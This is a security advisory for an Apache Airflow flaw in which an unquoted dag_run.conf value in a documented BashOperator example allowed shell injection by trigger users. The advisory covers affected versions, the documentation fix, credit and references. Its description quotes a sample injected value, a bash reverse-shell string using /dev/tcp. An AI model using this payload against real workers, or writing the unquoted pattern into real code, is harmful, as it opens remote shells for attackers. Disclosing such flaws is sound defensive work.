CVE-2026-42252: Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern

[Rahul Vats <rahulvats () apache org>]

Severity: low 

Affected versions:

- Apache Airflow (apache-airflow) 3.0.0 before 3.2.2

Description:

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") 
showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / 
sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` 
permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be 
exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could 
supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE 
covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes 
explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs 
example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to 
upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

Credit:

anonymous (finder)
Kevin Yang (sjyangkevin) (remediation developer)

References:

https://github.com/apache/airflow/pull/64129
https://airflow.apache.org/
https://www.cve.org/CVERecord?id=CVE-2026-42252